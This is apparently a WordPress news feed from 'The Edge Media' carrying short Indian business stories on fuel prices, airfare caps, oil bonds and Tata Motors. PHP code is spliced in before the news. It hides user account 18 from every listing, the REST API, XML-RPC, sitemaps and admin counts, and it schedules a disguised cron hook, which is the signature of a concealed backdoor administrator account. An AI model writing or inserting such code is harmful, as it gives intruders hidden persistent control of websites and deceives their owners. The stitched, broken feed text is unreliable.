add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Punjab Farmers End Protest After Chief Minister Hikes Cane Prices appeared first on The Edge Media.
]]>Under the farmers’ agitation, which entered its fifth day on Tuesday, the protesters had blocked a national highway and Ludhiana-Amritsar and Ludhiana-Jammu rail tracks in Jalandhar.
“Happy to share that after consultation with farmers, have approved SAP (state advised price) for sugarcane at ₹ 360 per quintal. My government is committed to the welfare of our farmers. Jai Kisan, Jai Jawan!” Mr Singh said in a tweetAfter a meeting with the chief minister, farmer leader Manjit Singh Rai told reporters that their pending arrears will be paid in 15 days.
The post Punjab Farmers End Protest After Chief Minister Hikes Cane Prices appeared first on The Edge Media.
]]>The post Current govt is subsidising UPA’s petrol price cut: FM Nirmala Sitharaman appeared first on The Edge Media.
]]>Sitharaman said that as of 31 March, 2021, there were Rs 1.31 lakh crore in outstanding principles and Rs 37,340 crore in interest yet to be repaid on these oil bonds.
The post Current govt is subsidising UPA’s petrol price cut: FM Nirmala Sitharaman appeared first on The Edge Media.
]]>The post Flight ticket prices revised for the fourth time appeared first on The Edge Media.
]]>According to the order, flights under 40 minutes of duration will now cost ₹2,900 – a hike f ₹300 from the previous fare of ₹2,600. This is an increase of 11.53 per cent, while the upper limit has been increased by 12.82 per cent from 7,800 to 8,880. Flights with a duration between 40-60 minutes will cost a minimum of ₹3,700 instead of ₹3,300 and a maximum of ₹11,000 instead of ₹9,800.
The actual price, however, will be more than this as the caps mentioned by the government in its order does not include the passenger security fee, user development fee for the airports and the GST.
The prices have been revised keeping in mind the prevailing Covid-19 situation in the country, the ministry said.
The revision comes at a time when domestic travel has picked momentum and with other countries relaxing lockdown restrictions on Indian flights, international passenger flights to several destinations are resuming.
This is the 4th time that the flight ticket prices have been revised. Ticket prices were revised in February, May and June. The hike is the air traffic fuel price is the reason for the consecutive hikes.
The post Flight ticket prices revised for the fourth time appeared first on The Edge Media.
]]>The post Tata Motors loss narrows to Rs.4,451 Crore in June Quarter. appeared first on The Edge Media.
]]>“Demand remains strong for JLR and India PV, while CV demand is showing gradual improvement. In this dynamic business environment, we anticipate that semiconductor issues, commodity inflation and pandemic uncertainty will have an impact in the short term. We expect the performance to improve progressively from H2 as supply chain and pandemic situation improves, Tata Motors said in a stock exchange filing post market hours.
The post Tata Motors loss narrows to Rs.4,451 Crore in June Quarter. appeared first on The Edge Media.
]]>The post Petrol crosses 100 rupee mark, diesel sees similar hike appeared first on The Edge Media.
]]>In Delhi, petrol rate has rocketed to Rs 93.94 for a litre and is being sold at Rs 100.19 in the financial capital. Fuel prices have jumped to Rs 93.97 in Kolkata and Rs 95.51 in Chennai.
Diesel price has seen a drastic increase this month. A litre of diesel costs Rs 84.89 in Delhi, Rs 92.17 in Mumbai, Rs 87.74 in Kolkata and Rs 89.65 in Chennai.
The post Petrol crosses 100 rupee mark, diesel sees similar hike appeared first on The Edge Media.
]]>